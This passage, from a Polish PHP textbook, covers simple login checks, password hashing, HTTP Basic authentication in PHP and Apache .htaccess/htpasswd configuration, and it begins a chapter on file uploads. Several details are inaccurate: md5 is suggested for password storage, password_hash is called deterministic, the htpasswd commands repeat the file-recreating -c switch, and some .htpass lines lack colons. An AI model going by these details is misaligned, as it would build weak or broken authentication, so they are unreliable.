udzielenia dostępu do określonych stron lub zasobów, jednak może być też opcjonalne lub służyć na
przykład do personalizacji.

Implementacja kontroli dostępu


Prosta kontrola dostępu nie sprawia większych trudności w implementacji. Wykonanie skryptu
przedstawionego na listingu 16.1 spowoduje wyświetlenie jednego z trzech różnych wyników. Jeśli
skrypt zostanie wywołany bez żadnych parametrów, to wyświetli się formularz, w którym użytkow-
nik będzie musiał podać swój identyfikator i hasło dostępu. Został on przedstawiony na rysunku 16.1.

Listing 16.1. zastrzezone.php — kod źródłowy skryptu realizującego najprostszą metodę uwierzytelniania
<!DOCTYPE html>
<html>
<head>
<title>Zastrzeżona strona</title>
</head>
<body>

<?php
if ((!isset($_POST['uzytkownik'])) || (!isset($_POST['haslo']))) {
//Użytkownik musi podać swój identyfikator i hasło
?>
<h1>Zaloguj się</h1>
<p>Ta strona jest zastrzeżona.</p>
<form method="post" action="zastrzezone.php">
<p><label for="uzytkownik">Użytkownik:</label>
<input type="text" name="uzytkownik" id="uzytkownik" size="15" /></p>
<p><label for="haslo">Hasło:</label>
<input type="password" name="haslo" id="haslo" size="15" /></p>
<p><button type="submit" name="submit">Zaloguj się</button> </p>
</form>
Rozdział 16.  Implementacja metod uwierzytelniania przy użyciu PHP 367

<?php
} else if(($_POST['uzytkownik']=='uzytkownik') && ($_POST['haslo']=='haslo')) {
// kombinacja: identyfikator i haslo jest poprawna
echo "<h1>Oto ona!</h1>
<p>Na pewno jesteś szczęśliwy, że możesz zobaczyć tę stronę.</p>";
} else {
// kombinacja: identyfikator i haslo jest nieprawidlowa
echo "<h1>Odejdź stąd!</h1>
<p>Nie jesteś uprawniony do przeglądania tych zasobów.</p>";
}
?>

Rysunek 16.1.
W formularzu HTML
użytkownik powinien
podać swój identyfikator
oraz hasło w celu
uzyskania dostępu

Jeśli skrypt zostanie wywołany z nieprawidłowymi parametrami, wyświetlony zostanie komunikat


o błędzie. Został on pokazany na rysunku 16.2.

Rysunek 16.2.
Jeśli użytkownik wpisze
błędne dane, zostanie
wyświetlony odpowiedni
komunikat

Jeśli parametry podane przy wywołaniu skryptu okażą się prawidłowe, zostanie wyświetlona sekretna
strona. W naszym przypadku wygląda ona jak ta z rysunku 16.3.

Listing 16.1 zawiera kod źródłowy skryptu realizującego operacje przedstawione na rysunkach 16.1,
16.2 oraz 16.3.
368 Część III  E-commerce i bezpieczeństwo

Rysunek 16.3.
Po podaniu właściwych
danych skrypt wyświetli
zawartość strony

Skrypt zaprezentowany na listingu 16.1 realizuje prostą metodę uwierzytelniania, dzięki której
zastrzeżona strona jest dostępna tylko dla uprawnionych użytkowników. Niestety, skrypt obarczony
jest również poważnymi wadami:
 akceptuje tylko jeden identyfikator użytkownika i jedno hasło dostępu zapisane bezpośrednio
w kodzie źródłowym,
 przechowuje hasło dostępu w formie otwartego tekstu,
 chroni tylko jedną stronę internetową,
 przesyła hasło dostępu w formie otwartego tekstu.

Każdą z tych wad można wyeliminować, jednak kosztem różnego nakładu pracy i z różnym
powodzeniem.

Przechowywanie haseł dostępu


Przechowywanie identyfikatorów użytkowników i ich haseł dostępu wewnątrz skryptu nie jest
najlepszym rozwiązaniem. Przede wszystkim trudniej wówczas dokonywać modyfikacji danych.
Istnieje możliwość, choć nie jest to postępowanie zalecane, napisania skryptu, który sam będzie
zmieniał swą zawartość. Oznaczałoby to, że plik z kodem skryptu jest przechowywany na serwerze
i na nim wykonywany. W tym przypadku jednak również inni użytkownicy mieliby możliwość
dokonywania w nim zmian. Zapisywanie danych w oddzielnym pliku na serwerze ułatwi napisanie
odpowiedniego skryptu dodającego i usuwającego dane, a jednocześnie umożliwi zablokowanie
osobom nieuprawnionym dostępu do pliku z danymi.

Wykorzystanie skryptu czy oddzielnego pliku do przechowywania danych znacznie ogranicza


liczbę informacji, jaka może być w nim zapisana bez widocznego wpływu na szybkość wykonania
skryptu. Jeśli konieczne jest przechowywanie i użycie znacznej liczby identyfikatorów i haseł dostępu,
to zamiast zwykłego pliku należy użyć bazy danych. Przyjmuje się, że jeśli niezbędne jest prze-
chowywanie i przeszukiwanie więcej niż kilkunastu pozycji, należy zastąpić plik jednorodny bazą
danych.

Użycie bazy danych do przechowywania identyfikatorów użytkowników i ich haseł dostępu nie
skomplikuje zbytnio skryptu, znacznie natomiast przyspieszy wykonywanie operacji uwierzy-
telniania. Dzięki temu możliwe jest również napisanie skryptów pozwalających na zapisywanie
danych o nowych użytkownikach, usuwanie użytkowników oraz modyfikację wcześniej zapisanych
Rozdział 16.  Implementacja metod uwierzytelniania przy użyciu PHP 369

haseł dostępu. W przypadku przechowywania haseł w bazie danych trzeba jednak pamiętać o tym,
by nie zapisywać ich otwartym tekstem. Zamiast tego przeważnie przechowywane są jedynie
skróty haseł (utworzone na przykład przy użyciu wbudowanej funkcji PHP o nazwie md5()),
które podczas uwierzytelniania są porównywane z wyznaczonym skrótem wartości wpisanej przez
użytkownika. Dzięki zastosowaniu takiego rozwiązania wciąż można uwierzytelniać użytkowników
pragnących uzyskać dostęp do chronionego zasobu, a jednocześnie w bazie danych nie są prze-
chowywane faktyczne hasła.

Zabezpieczanie haseł
Niezależnie od tego, czy dane użytkowników będą przechowywane w pliku, czy w bazie danych,
lepiej nie decydować się na ryzykowne zapisywanie haseł dostępu w formie otwartego tekstu.
Jednokierunkowy algorytm mieszający zapewni większe bezpieczeństwo praktycznie bez dodat-
kowego nakładu pracy.

W starszych wersjach PHP typowym rozwiązaniem było stosowanie jednej z kilku udostępnianych
jednokierunkowych funkcji mieszających. Najstarszym, ale też najmniej bezpiecznym rozwiąza-
niem jest algorytm Unix Crypt, realizowany przez funkcję crypt(). Algorytm Message Digest 5
(MD5) zaimplementowany w funkcji md5() jest silniejszy. Ostatnio jednak przeważnie stosowane są
funkcje używające algorytmu Secure Hashing Algorithm, takie jak sha1() lub sha256(), bądź inne.

Jawne określanie używanej funkcji mieszającej ma tę wadę, że wraz z upływem czasu algorytmy
mieszające stają się coraz mniej bezpieczne. Jak to możliwe? Otóż naukowcy zajmujący się zagad-
nieniami bezpieczeństwa znajdują sposoby na złamanie algorytmu. Staje się to coraz łatwiejsze wraz
ze wzrostem mocy obliczeniowej komputerów.

W PHP 5.5, jak również w PHP 7, istnieje funkcja password_hash(), która używa silnej, jednokie-
runkowej funkcji mieszającej do wygenerowania tak zwanego skrótu i zapisania go w łańcuchu
znaków. Prototyp tej funkcji ma następującą postać:
string password_hash(string $haslo, integer $algorytm [, array $opcje] )

Ponieważ funkcja ta określa używany algorytm na podstawie zmiennej, można go zmieniać


nie w kodzie, lecz w danych konfiguracyjnych, i to w jednym, określonym miejscu.

Funkcja ta ma jeszcze jedną przydatną cechę: pozwala na przekazanie stałej o postaci PASSWORD_DEFAULT,
którą można przekazać w jej wywołaniu jako nazwę używanego algorytmu mieszającego. W kolej-
nych wersjach PHP faktyczna wartość tej stałej jest zmieniana, tak by zawsze określała bezpiecz-
ny algorytm. Domyślnie używanym algorytmem jest CRYPT_BLOWFISH, który można także wskazać
jawnie, podając stałą PASSWORD_BCRYPT jako wartość parametru $algorytm.

Użycie stałej PASSWORD_BCRYPT sprawi, że funkcja wygeneruje również ziarno. W tym kontekście
ziarno oznacza losowo wygenerowaną daną, która jest dodawana do hasła przed wyznaczeniem
jego skrótu. Dzięki tej danej odgadnięcie hasła jest znacznie trudniejsze.

W przypadku zastosowania algorytmu PASSWORD_BCRYPT funkcja password_hash() zwróci łańcuch


o długości 60 znaków. Łańcuch ten zawiera wszystkie informacje niezbędne do odtworzenia
skrótu hasła, w tym także zastosowany algorytm oraz wartość ziarna.

Tego łańcucha nie można w żaden sposób odszyfrować lub przekształcić z powrotem na począt-
kowy łańcuch znaków (nie może tego zrobić nawet jego twórca), więc na pierwszy rzut oka
mogłoby się wydawać, że nie jest on zbyt użyteczny. Jednak jest on przydatny ze względu na swój
deterministyczny charakter — w przypadku przekazania tego samego wejściowego łańcucha zna-
ków użycie skrótu zwróconego przez funkcję password_hash() zawsze zwróci ten sam wynik.
370 Część III  E-commerce i bezpieczeństwo

A zatem zamiast poniższego fragmentu kodu:


if (($uzytkownik == 'uzytkownik') && ($haslo=='haslo')) {
//identyfikator i hasło prawidłowe
}

można zastosować następujące rozwiązanie:


if (password_verify($haslo, $skrot_hasla)) {
// hasła są identyczne
}

Nie trzeba znać pierwotnego hasła, które zostało przekazane do funkcji mieszającej. Wystarczy
tylko wiedzieć, że skrót wpisanego hasła jest taki sam jak skrót hasła zapisany wcześniej w pliku
lub bazie danych.

Jak już wspomniano, nie zaleca się zapisywania bezpośrednio w kodzie źródłowym identyfikato-
rów użytkowników i ich haseł dostępu. Dane te powinny być zapisywane w oddzielnych plikach lub
przechowywane w bazie danych.

Należy pamiętać, że funkcje mieszające zwykle zwracają dane o stałym rozmiarze. W przypadku
PASSWORD_BCRYPT dane te mają długość 60 znaków, jeśli funkcja zwraca zwykły łańcuch znaków.
Algorytmy, które będą stosowane w przyszłości, mogą zwracać dłuższe skróty, dlatego też należy
się upewnić, że kolumna w bazie danych będzie uwzględniać tę zmianę wielkości danych. Z tego
względu użycie kolumny pozwalającej na zapis 256 znaków wydaje się uzasadnione.

Zabezpieczanie więcej niż jednej strony


Napisanie skryptu, takiego jak te z wcześniejszych części rozdziału, który będzie zabezpieczał
dostęp do większej liczby stron, jest bardziej skomplikowane. Ponieważ HTTP jest protokołem
bezstanowym, nie ma możliwości powiązania ze sobą kilku żądań wychodzących od tego samego
użytkownika. Dlatego też trudniej jest przesyłać dane (jak choćby informacje potrzebne do uwie-
rzytelniania) między jedną a drugą stroną internetową.

Najprostszym sposobem zastrzegania kilku stron jednocześnie jest wykorzystanie mechanizmu


uwierzytelniania udostępnianego przez serwer WWW. Przyjrzyjmy się mu bliżej.

Aby samodzielnie wykorzystać ten mechanizm, można by dołączyć odpowiednie fragmenty kodu
z listingu 16.1 do każdej ze stron, które mają być zastrzeżone. Użycie opcji auto_prepend_file
i auto_append_file spowoduje automatyczne dodanie odpowiedniego fragmentu kodu na początku
i na końcu wszystkich plików znajdujących się we wskazanych katalogach. Opcje te zostały szerzej
omówione w rozdziale 5.

Co jednak stanie się po zastosowaniu tego rozwiązania, gdy użytkownik zapragnie przejrzeć
więcej stron na naszej witrynie? Konieczność podawania identyfikatora i hasła dostępu przed
wyświetleniem każdej kolejnej strony zapewne szybko zniechęci odwiedzającego.

Można by dołączać informacje podane przez użytkownika do każdego hiperłącza zawartego na


stronie. Ponieważ identyfikatory mogą zawierać znaki spacji, należałoby użyć funkcji urlencode()
do ich poprawnego zakodowania.

Niestety, również ten sposób nie jest wolny od wad. Ponieważ dane identyfikacyjne zostałyby
dołączone do każdej strony wysyłanej użytkownikowi oraz do każdego adresu URL, zastrzeżone
strony byłyby jawne dla każdej osoby, która na tym samym komputerze zaczęłaby przeglądać
zawartość pamięci podręcznej przeglądarki lub jej historię. Co więcej, hasło dostępu i identyfikator
Rozdział 16.  Implementacja metod uwierzytelniania przy użyciu PHP 371

użytkownika są przesyłane do serwera WWW i z powrotem do przeglądarki przy każdym żądaniu


wyświetlenia nowej strony i dostarczaniu jej do klienta. Dane te są zatem przekazywane znacznie
częściej, niż jest to rzeczywiście konieczne.

Istnieją dwa sposoby, dzięki którym można uniknąć takich problemów: podstawowe uwierzy-
telnianie protokołu HTTP oraz sesje. Podstawowe uwierzytelnianie likwiduje problem związany
z zapisem odwiedzanych stron w pamięci podręcznej przeglądarki; jednak również w tym przy-
padku hasło dostępu jest przesyłane do serwera wraz z każdym żądaniem. Dopiero wykorzystanie
mechanizmu sesji pozwala uniknąć obu niedogodności. Uwierzytelnianie protokołu HTTP zostanie
omówione w następnym punkcie. Sesje natomiast będą przedmiotem rozdziału 22., a bardziej
szczegółowo zostaną opisane w rozdziale 27.

Podstawowa metoda uwierzytelniania


Na szczęście uwierzytelnianie jest na tyle często wykonywaną operacją, że odpowiedni mechanizm
został wbudowany w protokół HTTP. Skrypt lub serwer WWW może zażądać od przeglądarki
internetowej dokonania uwierzytelnienia. Na przeglądarkę spada wówczas zadanie wyświetlenia
stosownego okna dialogowego lub podobnego obiektu, który pozwoli użytkownikowi na podanie
odpowiednich danych.

Co prawda serwer WWW będzie wymagał podania danych uwierzytelniających przed wykonaniem
każdego kolejnego żądania, nie oznacza to jednak, że użytkownik musi co chwila podawać swe
dane identyfikacyjne. Po ich pierwszym wpisaniu przeglądarka zapamięta je i automatycznie
prześle do serwera wraz z każdym żądaniem. Dane podane przez użytkownika zostaną usunięte
z pamięci z chwilą zamknięcia okna przeglądarki.

Opisany mechanizm protokołu HTTP znany jest jako podstawowe uwierzytelnianie. Można go
wykorzystać na przykład w skrypcie PHP lub za pomocą narzędzi udostępnianych przez serwer.
W kolejnych podrozdziałach zostaną przedstawione sposoby użycia tej metody w skryptach PHP
i na serwerze Apache.

Połączenie podstawowego uwierzytelniania z protokołem SSL i certyfikatami cyfrowymi sprawi,


że wszystkie strony transakcji będą zabezpieczone w odpowiedni sposób.

Podstawowe uwierzytelnianie zabezpiecza nazwane obszary (ang. realms) i wymaga od użytkowni-


ków podania poprawnego identyfikatora oraz hasła dostępu. Pliki i katalogi przechowywane na
jednym serwerze mogą należeć do odrębnych obszarów, z których każdy może być chroniony
innym zbiorem identyfikatorów i haseł dostępu. Te nazwane obszary pozwalają również na grupo-
wanie większej liczby katalogów przechowywanych na serwerze (także wirtualnym) i ochronę tak
utworzonej odrębnej grupy za pomocą jednego, określonego hasła.

Wykorzystanie podstawowej metody


uwierzytelniania w PHP
Skrypty PHP mogą być wykonywane na różnych platformach, jednak do przeprowadzenia pod-
stawowego uwierzytelniania konieczne jest wykorzystanie zmiennych środowiskowych serwera
WWW. Skrypt przedstawiony na listingu 16.2 został przetestowany i działa poprawnie na serwerze
Apache.
372 Część III  E-commerce i bezpieczeństwo

Listing 16.2. uwierzytelnianie_podstawowe.php — skrypt PHP może przeprowadzić podstawowe


uwierzytelnianie HTTP
<?php
if ((!isset($_SERVER['PHP_AUTH_USER'])) &&
(!isset($_SERVER['PHP_AUTH_PW'])) &&
(substr($_SERVER['HTTP_AUTHORIZATION'], 0, 6) == 'Basic ')
) {

list($_SERVER['PHP_AUTH_USER'], $_SERVER['PHP_AUTH_PW']) =
explode(':', base64_decode(substr($_SERVER['HTTP_AUTHORIZATION'], 6)));
}

// to wyrażenie warunkowe można zastąpić np. zapytaniem do bazy danych


if (($_SERVER['PHP_AUTH_USER'] != 'uzytkownik') ||
($_SERVER['PHP_AUTH_PW'] != 'haslo')) {

// użytkownik nie podał żadnych danych albo


// podany identyfikator lub hasło są nieprawidłowe

header('WWW-Authenticate: Basic realm="Strefa chroniona"');


header('Status: 401 Unauthorized');
} else {
?>
<!DOCTYPE html>
<html>
<head>
<title>Zastrzeżona strona</title>
</head>
<body>
<?php

echo '<h1>Oto ona!</h1>


<p>Na pewno jesteś szczęśliwy, że możesz zobaczyć tę stronę.</p>';
}
?>
</body>
</html>

Działanie kodu źródłowego ukazanego na listingu 16.2 jest bardzo podobne jak w przypadku
wcześniej przedstawionych przykładowych skryptów. Jeśli nie zostaną podane żadne dane
uwierzytelniające, użytkownik musi je wpisać. Jeżeli podane informacje okażą się nieprawidłowe,
nastąpi wyświetlenie odmowy dostępu do zasobów. Natomiast po podaniu prawidłowego identyfi-
katora i hasła dostępu wyświetlony zostanie zastrzeżony dokument.

W takim przypadku użytkownik zobaczy interfejs, który wyglądem odbiega nieco od tego pokaza-
nego w poprzednim przykładzie. Tym razem nie jest bowiem wyświetlany formularz HTML,
w którym użytkownik wpisywał dane w poprzednim przykładzie. Zamiast niego przeglądarka
wyświetli własne okno dialogowe. Niektórzy uznają, że jest to lepsze rozwiązanie, inni natomiast
skłaniają się ku utrzymaniu pełnej kontroli nad wizerunkiem strony internetowej. Okno dialogowe
wyświetlane przez przeglądarkę Internet Explorer zostało zaprezentowane na rysunku 16.4.
Rozdział 16.  Implementacja metod uwierzytelniania przy użyciu PHP 373

Rysunek 16.4.
Przeglądarka wyświetli
własne okno dialogowe,
jeśli jest przeprowadzane
uwierzytelnianie
protokołu HTTP

Wykorzystanie podstawowej metody


uwierzytelniania na serwerze Apache
przy użyciu plików .htaccess
Rezultat bardzo podobny do wyników skryptu z listingu 16.2 można uzyskać bez konieczności
pisania odpowiedniego skryptu PHP.

Serwer Apache posiada szereg modułów umożliwiających przeprowadzenie uwierzytelniania. Aby


skorzystać z podstawowej metody uwierzytelniania HTTP, trzeba posiadać moduł mod_auth_basic
oraz moduł uwierzytelniający odpowiadający mechanizmowi przechowywania hasła, który planu-
jemy zastosować. W tym podrozdziale zostanie przedstawiony sposób przechowywania haseł
w pliku, a w następnym — sposób ich przechowywania w bazie danych.

W celu zapewnienia takiego samego efektu, jak po wykonaniu wcześniej przedstawionych skryp-
tów, konieczne jest utworzenie dwóch plików HTML: jednego z treścią zastrzeżoną i drugiego
wyświetlającego informację o odmowie dostępu. W poprzednich przykładach niektóre znaczniki
zostały pominięte, w istocie jednak powinny one zawierać również znaczniki <html> i <body>.

Na listingu 16.3 przedstawiona jest zawartość strony, udostępniana tylko uprawnionym użytkow-
nikom. Nadano jej nazwę zawartosc.html. Listing 16.4 zawiera natomiast kod strony wyświe-
tlającej odmowę dostępu, która nosi nazwę odmowa.html. Utworzenie takiej strony nie jest
obowiązkowe, lecz może okazać się bardzo przydatne, gdy chcemy zamieścić na niej jakieś dodat-
kowe wiadomości. Gdy wiemy, że zostanie ona wyświetlona w razie odmowy udzielenia dostępu
użytkownikowi, można na niej zawrzeć informacje na temat sposobów zarejestrowania się
i otrzymania hasła dostępu lub odzyskania hasła (gdyby użytkownik je zapomniał).

Listing 16.3. zawartosc.html — kod zastrzeżonej strony


<!DOCTYPE html>
<html>
<head>
<title>Zastrzeżona strona</title>
</head>
<body>
<h1>Oto ona!</h1>
<p>Na pewno jesteś szczęśliwy, że możesz zobaczyć tę stronę.</p>
</body>
</html>

Listing 16.4. odmowa.html — strona wyświetlana w razie odmowy dostępu


<!DOCTYPE html>
<html>
<head>
374 Część III  E-commerce i bezpieczeństwo

<title>Zastrzeżona strona</title>
</head>
<body>
<h1>Odejdź stąd!</h1>
<p>Nie jesteś uprawniony do przeglądania tych zasobów.</p>
</body>
</html>

W tych dwóch ostatnich przykładach nie ma niczego nowego. Znacznie bardziej interesujący będzie
plik przedstawiony na listingu 16.5. Plik ten nosi nazwę .htaccess i jest odpowiedzialny za kon-
trolę dostępu do plików i podkatalogów katalogu, w którym się znajduje.

Listing 16.5. .htaccess — w pliku tym można zawrzeć szereg opcji konfiguracyjnych serwera Apache, w tym
dotyczące uwierzytelniania
AuthUserFile /var/www/.htpass
AuthType Basic
AuthName "Strefa chroniona"
AuthBasicProvider file
Require valid-user
ErrorDocument 401 /var/www/php_html/chapter_16/odmowa.html

Listing 16.5 przedstawia zawartość pliku .htaccess, włączającego stosowanie podstawowego uwie-
rzytelniania w katalogu. Plik ten może określać szereg ustawień, a sześć wierszy przedstawionych
na listingu odnosi się bezpośrednio do uwierzytelniania.

Pierwszy wiersz:
AuthUserFile /var/www/.htpass

informuje, gdzie znajduje się plik z prawidłowymi identyfikatorami i hasłami dostępu. Zazwyczaj
jest on nazywany .htpass, można mu jednak nadać dowolną inną nazwę. Istotna jest jedynie jego
lokalizacja, która powinna znajdować się poza strukturą katalogu głównego witryny — w prze-
ciwnym razie użytkownicy mogliby bez trudu pobrać go z serwera. Zawartość przykładowego
pliku .htpass zaprezentowano na listingu 16.6.

Listing 16.6. .htpass — zawartość pliku przechowującego identyfikatory użytkowników i zaszyfrowane hasła
dostępu
uzytkownik1:$apr1$2dTEuqf0$ok6jSPLkWoswioQyqTwdv.
uzytkownik2:$apr1$9aA0xUxC$pphrV4GqGahOwGI5qTerE1
uzytkownik3$apr1$c2xbFr5F$dOLbi4NG8Ton0bOmRBw/11
uzytkownik4$apr1$vjxonbG2$PPZyfInUnu2vDcpiO.lPZ0

Ponieważ obsługiwanych jest kilka różnych metod uwierzytelniania, konieczne jest określenie tej,
która ma być używana. W tym przykładzie jest to uwierzytelnianie typu Basic, określane przy
użyciu poniższej dyrektywy:
AuthType Basic

Podobnie jak w skrypcie, w celu dokonania uwierzytelnienia należy nadać nazwę chronionemu
zasobowi w następujący sposób:
AuthName "Strefa chroniona"

Nazwa ta może być dowolna, trzeba jednak pamiętać, że użytkownik będzie ją widział. W przedsta-
wionym przykładzie nazwa ta brzmi Strefa chroniona.
Rozdział 16.  Implementacja metod uwierzytelniania przy użyciu PHP 375

Konieczne jest także określenie używanego dostawcy uwierzytelniania. W tym przykładzie jest to
plik, co należy określić przy pomocy poniższej dyrektywy:
AuthBasicProvider file

Poza tym trzeba określić, kto ma prawo dostępu do chronionego zasobu. Można tu podać konkret-
nych użytkowników lub ich grupy bądź też, jak zrobiono w przykładzie, można pozwolić na dostęp
wszystkim uwierzytelnionym użytkownikom:
Require valid-user

Ta dyrektywa informuje, że do zasobu będzie miał dostęp każdy prawidłowy użytkownik.


Ostatni wiersz:
ErrorDocument 401 /var/www/php_html/chapter_17/odmowa.html

wskazuje serwerowi dokument, który ma zostać wyświetlony w przypadku, gdy uwierzytelnianie


zakończy się niepowodzeniem (co będzie odpowiadać błędowi HTTP o numerze 401). Można do
tego wykorzystać dyrektywę ErrorDocument, pozwalającą na wskazanie stron, które będą wyświetlo-
ne w przypadku zaistnienia innych błędów HTTP, na przykład błędu o numerze 404. Składnia tej
dyrektywy jest następująca:
ErrorDocument numer_błędu URL

Każdy wiersz pliku .htpass zawiera identyfikator użytkownika, znak dwukropka i zaszyfrowane
hasło dostępu.

Zawartość różnych plików .htpass jest oczywiście różna. Aby go utworzyć, należy uruchomić
niewielki program o nazwie htpasswd, dołączany do każdej dystrybucji serwera Apache.

Program htpasswd udostępnia wiele opcji, lecz najczęściej jest używany w sposób pokazany
poniżej:
htpasswd -b[c] plik_haseł identyfikator_użytkownika

Przełącznik –c informuje program o tym, że należy utworzyć nowy plik. Należy go użyć podczas
zapisywania hasła pierwszego użytkownika. Nie należy jednak stosować tego przełącznika
przy dodawaniu następnych użytkowników, gdyż spowoduje to usunięcie wcześniej utworzonego
pliku i utworzenie nowego.

Przełącznik b informuje, że hasło zostanie podane jako parametr w wywołaniu programu i nie
powinien on prosić o jego podanie. Jest to przydatne zwłaszcza wówczas, gdy htpasswd jest
wywoływany w trakcie wykonywania procesu wsadowego. W przypadku wywołania programu
z poziomu wiersza poleceń przełącznik b nie powinien być używany, gdyż wówczas hasła zostaną
zapisane w historii wykonywanych poleceń.

Plik przedstawiony na listingu 16.6 został utworzony w wyniku wykonania następujących poleceń:
htpasswd –bc /var/www/.htpass uzytkownik1 haslo1
htpasswd –bc /var/www/.htpass uzytkownik2 haslo2
htpasswd –bc /var/www/.htpass uzytkownik3 haslo3
htpasswd –bc /var/www/.htpass uzytkownik4 haslo4

Trzeba zaznaczyć, że htpasswd może nie znajdować się w bieżącej ścieżce. Jeśli tak się stanie,
konieczne będzie wskazanie pełnej ścieżki dostępu do niego. W wielu systemach plik ten znajduje
się w katalogu /usr/local/apache/bin.

Ten typ uwierzytelniania jest łatwy do wykorzystania, wiążą się z nim jednak pewne niedogodności.

Identyfikatory i hasła dostępu przechowywane są w pliku tekstowym. Ilekroć przeglądarka wysyła


żądanie wyświetlenia strony internetowej chronionej za pomocą pliku .htaccess, serwer musi
376 Część III  E-commerce i bezpieczeństwo

przeanalizować zawartość tego pliku, a następnie odczytać dane z pliku haseł i sprawdzić, czy
informacje podane w celu uwierzytelnienia są prawidłowe. Zamiast w pliku .htaccess można by
te same dane zapisać w głównym pliku konfiguracyjnym serwera httpd.conf. Plik .htaccess jest
odczytywany za każdym razem, gdy jest wysyłane żądanie udostępnienia zastrzeżonej strony,
natomiast httpd.conf tylko raz — w trakcie uruchamiania serwera. Ta druga metoda działa więc
znacznie szybciej, jednak w razie dokonywania jakichkolwiek zmian konieczne jest zatrzyma-
nie i ponowne uruchomienie serwera WWW.

Jednak niezależnie od tego, w którym pliku zostaną umieszczone odpowiednie dyrektywy serwera,
w dalszym ciągu konieczne jest odczytywanie danych z pliku haseł przed realizacją każdego
żądania. Oznacza to, że podobnie jak w przypadku innych metod korzystających z plików jednorod-
nych także ten sposób nie jest zbyt przydatny, gdy liczbę uprawnionych użytkowników mierzy
się w setkach czy tysiącach.

W przypadku wielu prostych witryn wykorzystanie modułu mod_auth_basic wraz z plikiem haseł
jest idealnym rozwiązaniem. Jest ono szybkie, można je zaimplementować stosunkowo łatwo
i pozwala na dodawanie wpisów dla nowych użytkowników za pomocą dowolnego, wygodnego
mechanizmu. Można je stosować wraz z bazą danych, jednak w celu zapewnienia większej elastycz-
ności i kontroli dostępu do poszczególnych części stron można zaimplementować własny mecha-
nizm uwierzytelniania, działający w oparciu o PHP i MySQL.

Implementacja własnej metody uwierzytelniania


W tym rozdziale zostały przedstawione wady i zalety różnych metod uwierzytelniania oraz wbu-
dowane mechanizmy uwierzytelniające, charakteryzujące się jednak niewielką elastycznością.
W dalszej części książki, prezentującej między innymi sesje PHP, zostaną opisane sposoby samo-
dzielnej implementacji własnych, bardziej elastycznych mechanizmów uwierzytelniania.

W rozdziale 22. zostanie przedstawiony prosty sposób uwierzytelniania, pozwalający uniknąć


większości problemów zasygnalizowanych w tym rozdziale dzięki wykorzystaniu mechanizmu
sesji przekazującego wartość zmiennych między poszczególnymi stronami.

W rozdziale 27. opiszemy włączenie tego mechanizmu do rzeczywistego projektu. Zostanie przed-
stawiony sposób jego wykorzystania do kontroli dostępu do różnych części jednej witryny.

Propozycje dalszych lektur


Szczegółowe informacje na temat metod uwierzytelniania wbudowanych w protokół HTTP zawarte
są w dokumencie RFC 2617, dostępnym pod adresem http://www.rfc-editor.org/rfc/rfc2617.txt.

Dokumentacja modułu mod_auth_basic, realizującego podstawową metodę uwierzytelniania na


serwerze Apache, znajduje się na stronie https://httpd.apache.org/docs/2.4/mod/mod_auth_basic.html.

W następnym rozdziale
Następna część książki zawiera informacje o bardziej zaawansowanych technikach wykorzysty-
wania języka PHP, takich jak używanie systemu plików, stosowanie i kontrola sesji, implementacja
lokalizacji i inne.
Część IV
Zaawansowane techniki PHP
378 Część IV  Zaawansowane techniki PHP
Rozdział 17.  Interakcja z systemem plików i serwerem 379

Rozdział 17.
Interakcja z systemem
plików i serwerem
Rozdział 2. zawierał informacje na temat zapisywania i odczytywania danych z plików na serwerze
WWW. W tym rozdziale znajduje się opis innych funkcji PHP, które pozwalają na interakcję z sys-
temem plików serwera WWW.

W tym rozdziale zostaną poruszone następujące zagadnienia:


 wysyłanie plików za pomocą PHP,
 stosowanie funkcji katalogowych,
 interakcja z plikami zapisanymi na serwerze,
 uruchamianie programów na serwerze,
 stosowanie zmiennych środowiskowych serwera.

Powyższe funkcje zostaną omówione na podstawie przykładu.

Rozważmy następującą sytuację: chcemy zapewnić możliwość przesyłania na serwer obrazków,


które będą następnie wyświetlane jako elementy treści witryny (lub po prostu chcemy stworzyć
interfejs łatwiejszy w użyciu niż FTP lub SCP). Jednym z rozwiązań jest umożliwienie bezpośred-
niego przesyłania plików przy zastosowaniu formularza wchodzącego w skład witryny, na przykład
dostępnego wyłącznie dla jej administratorów. Po przesłaniu plików tych można używać w dowolny
sposób.

Przed dokładnym omówieniem funkcji systemu plików należy przyjrzeć się działaniu systemu
wysyłania plików.

Wprowadzenie do wysyłania plików


Do bardzo użytecznych własności PHP należy wspieranie wysyłania plików przez HTTP. Pliki,
zamiast być wysyłane z serwera do przeglądarki przez HTTP, podążają w odwrotnym kierunku,
to znaczy od przeglądarki do serwera. Zazwyczaj funkcja ta jest zaimplementowana za pomocą
interfejsu formularza HTML. Na rysunku 17.1 przedstawiono formularz, który zostanie zastosowany
w przykładzie.

Jak można zauważyć, formularz zawiera pole tekstowe, w którym użytkownik wpisuje nazwę pliku.
Można też nacisnąć przycisk Przeglądaj, który pozwala na przeglądanie dostępnych lokalnie
plików. Poniżej przedstawiona jest implementacja formularza.
380 Część IV  Zaawansowane techniki PHP

Rysunek 17.1.
Formularz HTML
zastosowany
w przykładzie do
wysyłania plików
posiada inne pola
i typy pól niż zwykły
formularz HTML

Po wprowadzeniu nazwy pliku użytkownik może nacisnąć przycisk Wyślij, po czym plik zostanie
wysłany na serwer, gdzie „czeka” na niego skrypt PHP.

Zanim przedstawiony zostanie kod skryptu, który wysyła plik na serwer, trzeba zaznaczyć, że w pliku
php.ini występują cztery dyrektywy sterujące sposobem wysyłania plików na serwer w PHP. Dyrek-
tywy wraz z ich wartościami domyślnymi oraz krótkim opisem przedstawiono w tabeli 17.1.

Tabela 17.1. Dostępne w pliku php.ini ustawienia konfiguracyjne operacji wysyłania plików na serwer

Dyrektywa Opis Wartość domyślna


file_uploads Wskazuje, czy wysyłanie plików przez HTTP jest dozwolone. On
Obsługiwane wartości to On i Off.
upload_temp_dir Wskazuje katalog, w którym tymczasowo mają być przechowywane NULL
pliki wysłane na serwer, zanim zostaną przetworzone. Jeżeli
wartość nie zostanie zdefiniowana, użyta będzie domyślna lokalizacja
używana w systemie (na przykład /tmp).
upload_max_filesize Określa maksymalny dozwolony rozmiar plików wysyłanych 2M
na serwer. Jeżeli rozmiar pliku jest większy niż wskazywany przez
dyrektywę, PHP zapisze zamiast niego plik o rozmiarze 0 bajtów.
Określając ten maksymalny rozmiar pliku, można się posługiwać
zapisem skróconym, w którym K oznacza kilobajty, M — megabajty,
a G — gigabajty.
post_max_size Wskazuje maksymalny rozmiar danych POST, które może przyjąć 8M
PHP. Wartość musi być większa niż wartość dyrektywy
upload_max_filesize, ponieważ określa ona rozmiar wszystkich
danych POST, włączając w to rozmiar plików wysyłanych na
serwer.

Kod HTML służący do wysyłania plików


